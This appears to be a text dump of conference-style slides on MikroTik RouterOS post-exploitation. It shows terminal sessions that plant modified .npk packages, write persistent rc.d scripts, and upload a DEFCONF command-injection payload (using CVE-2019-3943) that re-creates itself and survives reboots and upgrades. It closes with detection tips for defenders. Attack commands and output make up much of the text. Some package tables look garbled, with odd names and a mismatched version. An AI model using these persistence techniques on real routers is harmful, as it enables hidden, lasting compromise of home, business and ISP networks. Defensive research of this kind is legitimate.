<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>ppp</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>routing</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>security</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>system</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>sips</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>user-manager</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>wireless</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
</tbody>
</table>
All packages are stored in their .npk format in /var/pdb.

/var/pdb is a symlink to flash storage.

At boot time, the npk are unpacked and mounted as read only file systems in /ram/pckg.

A root attacker has write permissions on any of the /var/pdb/*/image files.
- Does overwriting a package have any side effect?
- Test:
  - echo "lol" > /var/pdb/system/image
  - reboot
- Introduce our own package?
  - Grab existing package.
  - Rename it.
  - Overwrite the npk’s squashfs section with a new squashfs.
  - Upload to /var/pdb/
- Proof of concept:
  - [https://github.com/tenable/routeros/tree/master/modify_npk/](https://github.com/tenable/routeros/tree/master/modify_npk/)

```
albinolobster@ubuntu:~/routeros_internal/modify_npk/build$ ./modify_npk -h
options:
  -h [ --help ] A list of command line options
  -v [ --version ] Display version information
  -f [ --file ] arg The npk file to manipulate
  -s [ --squash ] arg The squashfs to insert
  -n [ --name ] arg The new name of the package

albinolobster@ubuntu:~/routeros_internal/modify_npk/build$ ./modify_npk -f ~/packages/6.41.4/dude-6.41.4.npk -s ~/packages/6.41.4/_dude-6.41.4.npk.extracted/wrasse.squashfs -n wrasse
albinolobster@ubuntu:~/routeros_internal/modify_npk/build$ file wrasse.npk
wrasse.npk: data
```
albinolobster@ubuntu:~/routeros_internal/modify_npk/build$ telnet -l devel 192.168.1.30
Trying 192.168.1.30...
Connected to 192.168.1.30.
Escape character is '^]'.
Password:

BusyBox v1.00 (2018.04.05-06:39+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

# mkdir /var/pdb/wrasse/
# mv /rw/disk/wrasse.npk /var/pdb/wrasse/image
# reboot
# Connection closed by foreign host.
<table>
<thead>
<tr>
<th>Name</th>
<th>Version</th>
<th>Build Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>advanced.tools</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>calf</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>dhcp</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>duid</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>hotspot</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>gis</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>ipv6</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>kvm</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>lxc</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>mtp</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>multicast</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>ntp</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>ppp</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>routing</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>security</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>system</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>ups</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>user-manager</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>wireless</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
<tr>
<td>wprose</td>
<td>6.41.4</td>
<td>Apr/05/2018 12:23:55</td>
</tr>
</tbody>
</table>
albinolobster@ubuntu:~/routeros_internal/modify_npk/build$ telnet -l devel 192.168.1.30
Trying 192.168.1.30...
Connected to 192.168.1.30.
Escape character is '^]'.
Password:

BusyBox v1.00 (2018.04.05-06:39+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

# find /ram/pckg/wrasse/
# find /ram/pckg/wrasse/
# find /ram/pckg/wrasse/etc
# find /ram/pckg/wrasse/etc/rc.d
# find /ram/pckg/wrasse/etc/rc.d/run.d
# find /ram/pckg/wrasse/etc/rc.d/run.d/S18lol
# cat /ram/pckg/wrasse/etc/rc.d/run.d/S18lol
#!/bin/bash

mkdir /pckg/option
mount -o bind /boot/ /pckg/option

#
Check Installation does identify our package as a “bad image”
<table>
<thead>
<tr>
<th>Name</th>
<th>Version</th>
<th>Build Time</th>
<th>Scheduled</th>
</tr>
</thead>
<tbody>
<tr>
<td>advanced-tools</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>calico</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>chisp</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>diode</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>gps</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>hotspot</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>ip6</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>ipv6</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>jvm</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>jid</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>json</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>mpt</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>multicast</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>ntp</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>osp</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>routing</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>security</td>
<td>5.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>system</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>ups</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>user-manager</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>wireless</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
<tr>
<td>x stream</td>
<td>6.42.1</td>
<td>Apr/23/2018 10:46:55</td>
<td></td>
</tr>
</tbody>
</table>

*) upgrade - improved RouterOS upgrade process and restrict upgrade from RouterOS older than v5.16;
- Up to 6.40.9:
  - Attackers could create persistent rc scripts.
  - Just create the rc.d directory structure in `/flash/`.

```bash
albinolobster@ubuntu:-/routeros_internal/poc/ff_tracefile/build$ telnet -l devel 192.168.1.28
Trying 192.168.1.28...
Connected to 192.168.1.28.
Escape character is '^]'.
Password:

BusyBox v1.00 (2018.08.20-07:26+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

# find /flash/etc/
# find /flash/etc/
# find /flash/etc/ident
# find /flash/etc/lilo.conf
# find /flash/etc/fstab
# mkdir -p /flash/etc/rc.d/run.d/
# echo -e '#!/bin/bash
       /mnt/flash/nova/etc/devel-login
' > /flash/etc/rc.d/run.d/518lol
# chmod 777 /flash/etc/rc.d/run.d/518lol
# rm /flash/nova/etc/devel-login
# reboot
# Connection closed by foreign host.
```

```bash
albinolobster@ubuntu:-/routeros_internal/poc/ff_tracefile/build$ telnet -l devel 192.168.1.28
Trying 192.168.1.28...
Connected to 192.168.1.28.
Escape character is '^]'.
Password:

BusyBox v1.00 (2018.08.20-07:26+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

# ```
elif [ -f /rw/DEFCONF ]; then
    usleep 3000000
    /nova/bin/sendmsg 0xfee0000 40
    confirm=/ram/DEFCONF_CONFIRM
    if [ ! -s /rw/DEFCONF ]; then
        /nova/lib/defconf/choose >> /rw/DEFCONF
        if [ "$GPIO_RESET" != "yes" ]; then
            confirm=/rw/DEFCONF_CONFIRM
        fi
    fi
fi
/nova/bin/autoupdate

defcf=$(cat /rw/DEFCONF)
    echo > /ram/defconf-params
    if [ -f /nova/bin/flash ]; then
        /nova/bin/flash --fetch-defconf-params /ram/defconf-params
        fi
    eval $(cat /ram/defconf-params) action=apply /bin/gosh "$defcf"
    cp "$defcf" $confirm; rm /rw/DEFCONF /ram/defconf-params
fi

/etc/rc.d/run.d/S08config up to 6.40.5 executes /rw/RESET.

/etc/rc.d/run.d/S12defcf allows command execution from /rw/DEFCONF in 6.40.1 through the most recent (6.45.2)
● /rw/DEFCONF has a couple of challenges as a persistence mechanism:
  ○ If no one has logged in and /rw/DEFCONF exists then login is disabled.
  ○ The existence of /rw/DEFCONF silently disables upgrading.
  ○ No log entries indicate a reason for these failures.
● Half solution:
  ○ Use /ram/pckg rc.d script to create /rw/DEFCONF at shutdown.
● /rw/DEFCONF Proof of concept:
  ○ Uses CVE-2019-3943 to create the original /rw/DEFCONF
  ○ After reboot, the /rw/DEFCONF
    ■ Copies itself to /rw/.lol
    ■ Creates a /ram/pckg rc.d script that copies /rw/.lol back to /rw/DEFCONF during shutdown.
    ■ Creates the backdoor.
  ○ Creates reboot persistence on 6.42.1 through 6.43.14.
  ○ Disabling upgrade is a… feature?
● Is there anyway to survive an upgrade?!
● Sure. Create a symlink in the user’s directory.
  ○ RouterOS (currently) doesn’t remove symlinks.
albinolobster@ubuntu:~$ cat DEFCONF
ok; cp /rw/DEFCONF /rw/.lol; mkdir -p /ram/pckg/lool/etc/rc.d/run.d/; echo -e '#!/bin/bash
\nncp /rw/.lol /rw/DEFCONF
' > /ram/pckg/lool/etc/rc.d/run.d/K92lol; chmod 777 /ram/pckg/lool/etc/rc.d/run.d/K92lol; mkdir /pckg/option; mount -o bind /boot /pckg/option/

albinolobster@ubuntu:~$ ftp 192.168.88.1
Connected to 192.168.88.1.
220 MikroTik FTP server (Mikrotik 6.45.2) ready
Name (192.168.88.1:albinolobster): admin
331 Password required for admin
Password:
230 User admin logged in
Remote system type is UNIX.
ftp> cd flash
250 CWD command successful
ftp> dir
200 PORT command successful
150 Opening data connection
drwxrwx---  1 root  root  1024 Dec 31 20:00 skins
drwxrwx---  1 root  root  1024 Nov 8 14:59 pub
drwxrwx---  17 root  root  245 Jul 17 16:14 .survival
-rw-rw---  1 root  root  1629084 Jul 16 19:22 busybox-mips
226 Transfer complete
ftp> cd .survival
250 CWD command successful
ftp> cd rw
250 CWD command successful
ftp> put DEFCONF
local: DEFCONF remote: DEFCONF
200 PORT command successful
150 Opening ASCII mode data connection for '/flash/.survival/rw/DEFCONF'
226 ASCII transfer complete
262 bytes sent in 0.00 secs (10.8636 MB/s)
ftp> exit
221 Closing
albinolobster@ubuntu:~$ telnet -l devel 192.168.88.1
Trying 192.168.88.1...
Connected to 192.168.88.1.
Escape character is '^]'.
Password:

BusyBox v1.00 (2019.07.17-09:35+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

# uname -a
Linux MikroTik 3.3.5 #1 Wed Jul 17 09:18:16 UTC 2019 mips unknown
# cat /rw/logs/VERSION
v6.45.2 Jul/17/2019 10:04:19
# uname -a
Linux MikroTik 3.3.5 #1 Wed Jul 17 09:18:16 UTC 2019 mips unknown
# cat /rw/logs/VERSION
v6.45.2 Jul/17/2019 10:04:19
# reboot
# Connection closed by foreign host.
albinolobster@ubuntu:~$ telnet -l devel 192.168.88.1
Trying 192.168.88.1...
Connected to 192.168.88.1.
Escape character is '^]'.
Password:

BusyBox v1.00 (2019.07.17-09:35+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

#
- RouterOS is widely deployed in home, business, and ISP networks.
- RouterOS has been a popular exploitation target.
- MikroTik provides no tooling to determine if your router was or is compromised.
- A new tool, Cleaner Wrasse, will get you a root shell on RouterOS up to 3.0 up to 6.43.15.
  - And will help you achieve root on newer releases.
- There are a lot of fun and interesting places to hide or abuse in RouterOS:
  - Anything executing from /rw/ is bad.
  - Check running processes /proc/*/maps.
    - /rw/lib/ is very bad.
    - .so loaded from /ram/pckg/ should be examined.
      - snmp, www, and profiler are believed to load attacker .so.
  - Everything in /ram/pckg should be ro squashfs or symlink to /bndl/.
  - Special files like /rw/RESET and /rw/DEFCONF need to be examined.
    - These files are useful to an attacker at boot time.
  - RouterOS, before 6.42, does not verify the signature of “installed” packages.
    - Allows attackers to overwrite existing npk or introduce new packages.
  - RouterOS up to 6.40.9 executes scripts in /flash/etc/rc.d/run.d/
  - The user’s file directory should not contain a symlink.
Future Work
• Winbox login changes
• JSPoxy login changes.
• Loader system
• Kernel modules
• Package signing
• Find more jailbreaks!